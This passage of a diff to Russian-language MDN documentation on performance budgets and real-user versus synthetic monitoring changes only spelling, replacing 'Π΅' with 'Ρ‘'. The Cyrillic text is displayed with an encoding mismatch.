-<p>ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ, рСкомСндуСтся ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π±Π°Π·ΠΎΠ²Ρ‹Π΅ Π»ΠΈΠ½ΠΈΠΈ для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΌΠ΅Ρ‚Ρ€ΠΈΠΊΠΈ Π±ΡŽΠ΄ΠΆΠ΅Ρ‚Π° с ΡƒΡ‡Π΅Ρ‚ΠΎΠΌ Ρ€Π°Π·Π½ΠΈΡ†Ρ‹ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ΠΌ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° ΠΈ Π±ΠΎΠ΅Π²Ρ‹ΠΌ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ΠΌ.</p>
+<p>ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ, рСкомСндуСтся ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π±Π°Π·ΠΎΠ²Ρ‹Π΅ Π»ΠΈΠ½ΠΈΠΈ для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΌΠ΅Ρ‚Ρ€ΠΈΠΊΠΈ Π±ΡŽΠ΄ΠΆΠ΅Ρ‚Π° с ΡƒΡ‡Ρ‘Ρ‚ΠΎΠΌ Ρ€Π°Π·Π½ΠΈΡ†Ρ‹ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ΠΌ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° ΠΈ Π±ΠΎΠ΅Π²Ρ‹ΠΌ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ΠΌ.</p>
<p>Π‘ этим ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <a href="https://github.com/GoogleChromeLabs/lighthousebot">Lighthouse Bot</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ Π²ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Π² <a href="https://travis-ci.org/">Travis CI</a> ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для получСния Π°Π½Π°Π»ΠΈΡ‚ΠΈΠΊΠΈ <a href="https://developers.google.com/web/tools/lighthouse/">Lighthouse</a> ΠΈ <a href="https://webpagetest.org">Webpage Test</a>. Π­Ρ‚ΠΎΡ‚ Π±ΠΎΡ‚ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠΎΠ±Ρ‰Π°Ρ‚ΡŒ ΠΎΠ± ошибкС ΠΈΠ»ΠΈ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠΌ ΠΏΡ€ΠΎΡ…ΠΎΠΆΠ΄Π΅Π½ΠΈΠΈ тСстов Π½Π° основС ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΎΡ†Π΅Π½ΠΎΠΊ.</p>
@@ -61,7 +61,7 @@ translation_of: Web/Performance/Performance_budgets
<p>Π§Π΅ΠΌ Ρ€Π°Π½ΡŒΡˆΠ΅ Π²Ρ‹ смоТСтС ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π½ΠΎΠ²ΡƒΡŽ Ρ‚Ρ€Π°Ρ‚Ρƒ ΠΊ Π±ΡŽΠ΄ΠΆΠ΅Ρ‚Ρƒ, Ρ‚Π΅ΠΌ Π»ΡƒΡ‡ΡˆΠ΅ Π²Ρ‹ смоТСтС ΠΎΡ†Π΅Π½ΠΈΡ‚ΡŒ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ состояниС прилоТСния ΠΈ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π½Π° Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ.</p>
-<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π»ΡƒΡ‡ΡˆΠ΅ ΠΈΠΌΠ΅Ρ‚ΡŒ нСсколько Π±ΡŽΠ΄ΠΆΠ΅Ρ‚ΠΎΠ² ΠΈ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠ°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΌ. Π‘ΡŽΠ΄ΠΆΠ΅Ρ‚Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΡ‚Ρ€Π°ΠΆΠ°Ρ‚ΡŒ ваши Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠ΅ Ρ†Π΅Π»ΠΈ, Π½ΠΎ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΌΠ΅ΡˆΠ°Ρ‚ΡŒ экспСримСнтам. НапримСр, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ привнСсти Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΡ‚ ΠΎΠ±Ρ‰Π΅Π΅ врСмя Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ прилоТСния, Π½ΠΎ попытаСтся ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΡƒΡŽ Π²ΠΎΠ²Π»Π΅Ρ‡Ρ‘Π½Π½ΠΎΡΡ‚ΡŒ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠ°ΠΊ Π΄ΠΎΠ»Π³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ остаСтся Π½Π° страницС).</p>
+<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π»ΡƒΡ‡ΡˆΠ΅ ΠΈΠΌΠ΅Ρ‚ΡŒ нСсколько Π±ΡŽΠ΄ΠΆΠ΅Ρ‚ΠΎΠ² ΠΈ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠ°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΌ. Π‘ΡŽΠ΄ΠΆΠ΅Ρ‚Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΡ‚Ρ€Π°ΠΆΠ°Ρ‚ΡŒ ваши Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠ΅ Ρ†Π΅Π»ΠΈ, Π½ΠΎ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΌΠ΅ΡˆΠ°Ρ‚ΡŒ экспСримСнтам. НапримСр, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ привнСсти Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΡ‚ ΠΎΠ±Ρ‰Π΅Π΅ врСмя Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ прилоТСния, Π½ΠΎ попытаСтся ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΡƒΡŽ Π²ΠΎΠ²Π»Π΅Ρ‡Ρ‘Π½Π½ΠΎΡΡ‚ΡŒ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠ°ΠΊ Π΄ΠΎΠ»Π³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ остаётся Π½Π° страницС).</p>
<p>Π‘ΡŽΠ΄ΠΆΠ΅Ρ‚ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ Π²Π°ΠΌ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΎΠΏΡ‚ΠΈΠΌΠ°Π»ΡŒΠ½ΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Π²Π°ΡˆΠΈΡ… Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ Π²Ρ‹ΠΉΡ‚ΠΈ Π½Π° Π½ΠΎΠ²Ρ‹Π΅ Ρ€Ρ‹Π½ΠΊΠΈ ΠΈΠ»ΠΈ привнСсти Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π½ΠΎΠ²ΠΎΠ΅ Π² вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅.</p>
diff --git a/files/ru/web/performance/rum-vs-synthetic/index.html b/files/ru/web/performance/rum-vs-synthetic/index.html
index a2d0a17bec..6692991729 100644
--- a/files/ru/web/performance/rum-vs-synthetic/index.html
+++ b/files/ru/web/performance/rum-vs-synthetic/index.html
@@ -12,7 +12,7 @@ translation_of: Web/Performance/Rum-vs-Synthetic
<h2 id="БинтСтичСский_ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³"><strong>БинтСтичСский ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³</strong></h2>
-<p>БинтСтичСский ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π² "Π»Π°Π±ΠΎΡ€Π°Ρ‚ΠΎΡ€Π½Ρ‹Ρ…" условиях, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… инструмСнтов Π² Ρ†Π΅Π»ΡŒΠ½ΠΎΠΌ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠΈ. Π’Π°ΠΊΠΎΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя созданиС скриптов, ΡΠΈΠΌΡƒΠ»ΠΈΡ€ΡƒΡŽΡ‰ΠΈΡ… ΠΏΡƒΡ‚ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠΉΡ‚ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ, ΠΏΠΎΠ»ΡŒΠ·ΡƒΡΡΡŒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΠΌ. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Ρ‚Π΅ΡΡ‚ΠΈΡ€ΡƒΡŽΡ‚ΡΡ Π½Π΅ настоящиС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ, Π½ΠΎ Π·Π°Ρ€Π°Π½Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Π½Π°Π±ΠΎΡ€ инструкций, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ выполняСтся Π² ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠΈ.</p>
+<p>БинтСтичСский ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π² "Π»Π°Π±ΠΎΡ€Π°Ρ‚ΠΎΡ€Π½Ρ‹Ρ…" условиях, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… инструмСнтов Π² Ρ†Π΅Π»ΡŒΠ½ΠΎΠΌ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠΈ. Π’Π°ΠΊΠΎΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя созданиС скриптов, ΡΠΈΠΌΡƒΠ»ΠΈΡ€ΡƒΡŽΡ‰ΠΈΡ… ΠΏΡƒΡ‚ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠΉΡ‚ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ, ΠΏΠΎΠ»ΡŒΠ·ΡƒΡΡΡŒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΠΌ. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Ρ‚Π΅ΡΡ‚ΠΈΡ€ΡƒΡŽΡ‚ΡΡ Π½Π΅ настоящиС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ, Π½ΠΎ Π·Π°Ρ€Π°Π½Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Π½Π°Π±ΠΎΡ€ инструкций, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ выполняСтся Π² ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠΈ.</p>
<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³Π° - <a href="https://WebPageTest.org">WebPageTest.org</a>. РСсурс прСдоставляСт ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠ΅ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅, Π³Π΄Π΅ Π²Ρ‹ опрСдСляСтС Π³Π΅ΠΎΠ³Ρ€Π°Ρ„ΠΈΡŽ, ΡΠ΅Ρ‚ΡŒ, устройства, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΈ ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅. БСрвис прСдоставляСт Waterfall Π³Ρ€Π°Ρ„ΠΈΠΊ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ рСсурса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² вашСм ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ ΠΈ грузится сторонними Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°ΠΌΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ€Π΅ΠΊΠ»Π°ΠΌΠ½Ρ‹ΠΌΠΈ ΠΈΠ»ΠΈ аналитичСскими инструмСнтами).</p>
@@ -22,7 +22,7 @@ translation_of: Web/Performance/Rum-vs-Synthetic
<h2 id="ΠœΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³_Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹Ρ…_ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ_RUM">ΠœΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³ Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ (RUM)</h2>
-<p id="Real_User_Monitoring_(RUM)"><strong>ΠœΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³ Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ (Real User Monitoring, RUM) </strong>измСряСт ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ прилоТСния Π½Π° устройствах ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ. Π’ основС ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Π° - сторонний скрипт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ вставляСт Π΄Ρ€ΡƒΠ³ΠΈΠ΅ скрипты Π½Π° ΠΊΠ°ΠΆΠ΄ΡƒΡŽ страницу. Π­Ρ‚ΠΈ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ скрипты ΠΈΠ·ΠΌΠ΅Ρ€ΡΡŽΡ‚ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΎΡ‚Ρ‡Π΅Ρ‚Ρ‹ ΠΎ Π½Π΅ΠΉ. Π­Ρ‚ΠΎΡ‚ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΡƒΠ·Π½Π°Ρ‚ΡŒ, насколько ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, Π½ΠΎ ΠΈ Π΄Π°Π΅Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΠ± использовании прилоТСния, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎ Π³Π΅ΠΎΠ³Ρ€Π°Ρ„ΠΈΠΈ, распрСдСлСнии ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΈΠ»ΠΈ влиянии Ρ‚Π°ΠΊΠΎΠ³ΠΎ распрСдСлСния Π½Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ ΠΎΠΏΡ‹Ρ‚.</p>
+<p id="Real_User_Monitoring_(RUM)"><strong>ΠœΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³ Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ (Real User Monitoring, RUM) </strong>измСряСт ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ прилоТСния Π½Π° устройствах ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ. Π’ основС ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Π° - сторонний скрипт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ вставляСт Π΄Ρ€ΡƒΠ³ΠΈΠ΅ скрипты Π½Π° ΠΊΠ°ΠΆΠ΄ΡƒΡŽ страницу. Π­Ρ‚ΠΈ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ скрипты ΠΈΠ·ΠΌΠ΅Ρ€ΡΡŽΡ‚ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΎΡ‚Ρ‡Ρ‘Ρ‚Ρ‹ ΠΎ Π½Π΅ΠΉ. Π­Ρ‚ΠΎΡ‚ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΡƒΠ·Π½Π°Ρ‚ΡŒ, насколько ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, Π½ΠΎ ΠΈ Π΄Π°Ρ‘Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΠ± использовании прилоТСния, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎ Π³Π΅ΠΎΠ³Ρ€Π°Ρ„ΠΈΠΈ, распрСдСлСнии ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΈΠ»ΠΈ влиянии Ρ‚Π°ΠΊΠΎΠ³ΠΎ распрСдСлСния Π½Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ ΠΎΠΏΡ‹Ρ‚.</p>
<p>Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ синтСтичСского ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³Π°, RUM собираСт Π΄Π°Π½Π½Ρ‹Π΅ ΠΎΡ‚ настоящих ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, Π²Π½Π΅ зависимости ΠΎΡ‚ ΠΈΡ… устройств, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², сСти ΠΈΠ»ΠΈ Π³Π΅ΠΎΠ»ΠΎΠΊΠ°Ρ†ΠΈΠΈ. Пока ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ взаимодСйствуСт с ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΠΌ, Ρ‚Π°ΠΉΠΌΠΈΠ½Π³ΠΈ Ρ‚Π°ΠΊΠΎΠ³ΠΎ взаимодСйствия Π·Π°ΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ΡΡ, Π²Π½Π΅ зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΠΎΠ΅ дСйствиС выполняСтся Π² ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚. Π’Π°ΠΊΠΎΠΉ ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³ собираСт Π΄Π°Π½Π½Ρ‹Π΅ ΠΎ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ использовании прилоТСния, Π° Π½Π΅ ΠΎ Ρ‚ΠΎΠΌ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠΆΠΈΠ΄Π°ΡŽΡ‚ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΈΠ»ΠΈ, скаТСм, ΠΎΡ‚Π΄Π΅Π» ΠΌΠ°Ρ€ΠΊΠ΅Ρ‚ΠΈΠ½Π³Π°. Π­Ρ‚ΠΎ особСнно Π²Π°ΠΆΠ½ΠΎ для Π±ΠΎΠ»ΡŒΡˆΠΈΡ… Π²Π΅Π±-сайтов ΠΈΠ»ΠΈ слоТных ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, Π³Π΄Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π» ΠΈΠ»ΠΈ содСрТимоС постоянно ΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ, Π° количСство ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‡Π΅Π½ΡŒ сильно расти, создавая Π½ΠΎΠ²Ρ‹Π΅ Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΈ трСбования.</p>
@@ -32,7 +32,7 @@ translation_of: Web/Performance/Rum-vs-Synthetic
<p>БинтСтичСский ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³ Ρ…ΠΎΡ€ΠΎΡˆΠΎ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ для отлавливания рСгрСссий Π² Ρ…ΠΎΠ΄Π΅ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ прилоТСния. ОсобСнно ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ Π·Π°Π½ΠΈΠΆΠ΅Π½ΠΈΠ΅ скорости сСти ({{glossary('network throttling')}}). Π’Π°ΠΊΠΎΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ довольно прост, Π½Π΅Π΄ΠΎΡ€ΠΎΠ³ ΠΈ Π²Π΅Π»ΠΈΠΊΠΎΠ»Π΅ΠΏΠ½ΠΎ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ для тСстирования ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Ρ‚ΠΎΡ‡Π΅ΠΊ прилоТСния ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ вноситС измСнСния Π² ΠΊΠΎΠ΄. Но ΠΎΠ½ Π΄Π°Ρ‘Ρ‚ лишь ΡƒΠ·ΠΊΠΈΠΉ ΠΎΠ±Π·ΠΎΡ€ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΈ Π½Π΅ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ испытываСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ.</p>
